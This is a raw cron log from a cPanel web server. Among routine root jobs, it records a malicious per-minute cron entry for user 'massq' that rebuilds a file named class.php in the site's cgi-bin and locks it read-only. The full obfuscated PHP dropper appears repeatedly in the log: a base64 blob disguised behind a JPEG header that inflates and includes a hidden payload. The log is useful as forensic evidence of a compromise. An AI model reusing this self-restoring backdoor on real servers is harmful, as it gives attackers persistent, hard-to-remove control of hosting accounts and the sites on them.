Nov 11 02:56:01 server CROND[32103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:57:01 server CROND[460]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 02:57:01 server CROND[462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:58:01 server CROND[1374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:59:01 server CROND[2125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 02:59:01 server CROND[2127]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Nov 11 03:00:01 server CROND[2966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:00:01 server CROND[2967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 03:00:01 server CROND[2968]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:00:01 server CROND[2969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:01:01 server CROND[3852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:01:01 server CROND[3851]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 03:01:01 server run-parts(/etc/cron.hourly)[3851]: starting 0anacron
Nov 11 03:01:01 server anacron[3864]: Anacron started on 2025-11-11
Nov 11 03:01:01 server run-parts(/etc/cron.hourly)[3866]: finished 0anacron
Nov 11 03:01:01 server anacron[3864]: Will run job `cron.daily' in 25 min.
Nov 11 03:01:01 server anacron[3864]: Jobs will be executed sequentially
Nov 11 03:02:01 server CROND[4690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:03:01 server CROND[5611]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:04:01 server CROND[6444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:05:01 server CROND[7320]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 03:05:01 server CROND[7321]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:05:01 server CROND[7322]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:05:01 server CROND[7323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:06:01 server CROND[8229]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:07:01 server CROND[9280]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:08:01 server CROND[10101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
